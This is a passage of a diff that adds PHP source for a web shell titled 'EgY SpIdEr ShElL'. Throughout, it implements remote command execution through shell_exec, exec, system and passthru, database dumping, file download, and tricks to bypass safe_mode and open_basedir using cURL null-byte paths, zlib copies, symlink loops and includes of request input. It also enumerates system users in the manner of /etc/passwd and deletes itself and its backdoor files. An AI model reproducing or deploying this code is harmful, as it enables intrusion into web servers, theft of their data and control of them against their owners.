$str; +} + +function readzlib($filename,$temp=''){ +global $lang,$language; +$str=''; + if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");}; + if(@copy("compress.zlib://".$filename, $temp)) { + $str = moreread($temp); + } else echo $lang[$language.'_text119']; + @unlink($temp); +return $str; +} + +function morewrite($temp,$str='') +{ +global $lang,$language; + if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fwrite($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fputs($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('file_put_contents')){ + @file_put_contents($temp,$str); + }else return 0; +return 1; +} + +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!@function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!@function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!@function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + case 'MySQLi': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysqli_connect')) return 0; + $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port); + if(is_resource($this->connection)) return 1; + break; + case 'mSQL': + if(!@function_exists('msql_connect')) return 0; + $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'SQLite': + if(!@function_exists('sqlite_open')) return 0; + $this->connection = @sqlite_open($this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + case 'MySQLi': + return 1; + break; + case 'mSQL': + if(@msql_select_db($this->base,$this->connection)) return 1; + break; + case 'SQLite': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + case 'MySQLi': + if(false===($this->res=@mysqli_query($this->connection,$query))) + { + $this->error = @mysqli_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'mSQL': + if(false===($this->res=@msql_query($query,$this->connection))) + { + $this->error = @msql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'SQLite': + if(false===($this->res=@sqlite_query($this->connection,$query))) + { + $this->error = @sqlite_error_string($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MySQLi': + $this->num_rows=@mysqli_num_rows($this->res); + $this->num_fields=@mysqli_num_fields($this->res); + while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res))); + @mysqli_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'mSQL': + $this->num_rows=@msql_num_rows($this->res); + $this->num_fields=@msql_num_fields($this->res); + while(false !== ($this->rows[] = @msql_fetch_array($this->res))); + @msql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'SQLite': + $this->num_rows=@sqlite_num_rows($this->res); + $this->num_fields=@sqlite_num_fields($this->res); + while(false !== ($this->rows[] = @sqlite_fetch_array($this->res))); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MySQLi': + $this->dump[0] = '## MySQLi dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysqli_real_escape_string($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'mSQL': + $this->dump[0] = '## mSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'SQLite': + $this->dump[0] = '## SQLite dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + case 'MySQLi': + @mysqli_close($this->connection); + break; + case 'mSQL': + @msql_close($this->connection); + break; + case 'SQLite': + @sqlite_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + case 'MySQLi': + return @mysqli_affected_rows($this->res); + break; + case 'mSQL': + return @msql_affected_rows($this->res); + break; + case 'SQLite': + return @sqlite_changes($this->res); + break; + default: + return 0; + break; + break; +case 'cURL': + if(empty($_POST['egy_spider'])){ + + +} else { +$curl=$_POST['egy_spider']; +$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +echo "</textarea></CENTER>"; + +} +break; +case 'copy': + +if(empty($snn)){ +if(empty($_GET['snn'])){ +if(empty($_POST['snn'])){ + +} else { +$u1p=$_POST['snn']; +} +} else { +$u1p=$_GET['snn']; +} +} + $u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$snn, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +echo "</textarea></CENTER>"; +} +break; +case 'ini_restore': + if(empty($_POST['ini_restore'])){ +} else { + +$ini=$_POST['ini_restore']; +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +require_once("$ini"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +include($_GET["egy"]); +echo "</textarea></CENTER>"; +} +break; +case 'glob': +function reg_glob() +{ +$chemin=$_REQUEST['glob']; +$files = glob("$chemin*"); + + +foreach ($files as $filename) { + + echo "$filename\n"; + +} +} + +if(isset($_REQUEST['glob'])) +{ +reg_glob(); +} + +break; + case 'sym1': + if(empty($_POST['sym1p'])){ + } else { +$symp=$_POST['sym1p']; + } + if(empty($_POST['sym1p2'])){ + +} else { +$symp2=$_POST['sym1p2']; + + symlink("a/a/a/a/a/a/", "dummy"); +symlink("dummy".$symp2."".$symp."", "xxx"); +unlink("dummy"); +while (1) { +symlink(".", "dummy"); + + } + } + break; + case 'sym2': + @include(xxx); + + break; + case 'plugin': + if ($_POST['plugin'] ){ + + + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "\n"; + } + } + echo "</textarea>"; + } + + } + } + } +if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if($file=moreread($_POST['d_name'])){ $filedump = $file; } + else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } +if (isset($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#e4e0d8>'; + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['12'])) + { + @unlink(__FILE__); + } +if(isset($_GET['11'])) + { + @unlink($tempdir.'bdpl'); + @unlink($tempdir.'back'); + @unlink($tempdir.'bd'); + @unlink($tempdir.'bd.c'); + @unlink($tempdir.'dp'); + @unlink($tempdir.'dpc'); + @unlink($tempdir.'dpc.c'); + @unlink($tempdir.'prxpl'); + @unlink($tempdir.'grep.txt'); + } +if(isset($_GET['2'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['3'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['4'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + + + + + if(isset($_GET['tool'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } + if(isset($_GET['tools'])) { /*########################################### +code 2 +###########################################*/ +?> +<html> +<head><title>EgY SpIdEr ShElL</title></head> +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #dadada; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} + +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #dadada; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #dadada; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +</body> +</html> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; +$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>"; +error_reporting(0); +set_magic_quotes_runtime(0); + +if(version_compare(phpversion(), '4.1.0') == -1) + {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; +if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} +elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} +else{return $requ."?".$link."=".$val;}} +function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";} +function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); +$nscmd=htmlspecialchars($scmd);print $nscmd;} +elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); +$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} +elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); +while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; +print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ +ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ +ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); +print htmlspecialchars($pret);}} +function input($type,$name,$value,$size) +{if (empty($value)){print "<input type=$type name=$name size=$size>";} +elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} +elseif(empty($size)){print "<input type=$type name=$name value=$value >";} +else {print "<input type=$type name=$name value=$value size=$size >";}} +function permcol($path){if (is_writable($path)){print "<font color=olive>"; +callperms($path); print "</font>";} +elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>"; +callperms($path); print "</font>";} +else {print "<font color=white>";callperms($path);}} +if ($dlink=="dwld"){download($_REQUEST['dwld']);} +function download($dwfile) {$size = filesize($dwfile); +@header("Content-Type: application/force-download;name=$dwfile"); +@header("Content-Transfer-Encoding: binary"); +@header("Content-Length: $size"); +@header("Content-Disposition: attachment; filename=$dwfile"); +@header("Expires: 0"); +@header("Cache-Control: no-cache, must-revalidate"); +@header("Pragma: no-cache"); +@readfile($dwfile); exit;} +?> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); + +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; +$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>"; +################# Ending of common variables ######################## + +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4> +</font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print ""; + +if ($act == 'encoder') +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; + +?> +</center> +<br><br> +<table border=0 align=center cellpadding=4> +<tr><td> +<center><b>Search milw0rm for MD5 hash</b></center> +</td><td> +<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center> +</td><td> +<center><b>Search CsTeam for MD5 hash</b></center> +</td></tr> +<tr><td> +<center> +<form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST> +<input type=text size=40 name=hash> <input type=submit value="Submit"></form> +</center> +</td><td> +<center> +<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST> +<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form> +</center> 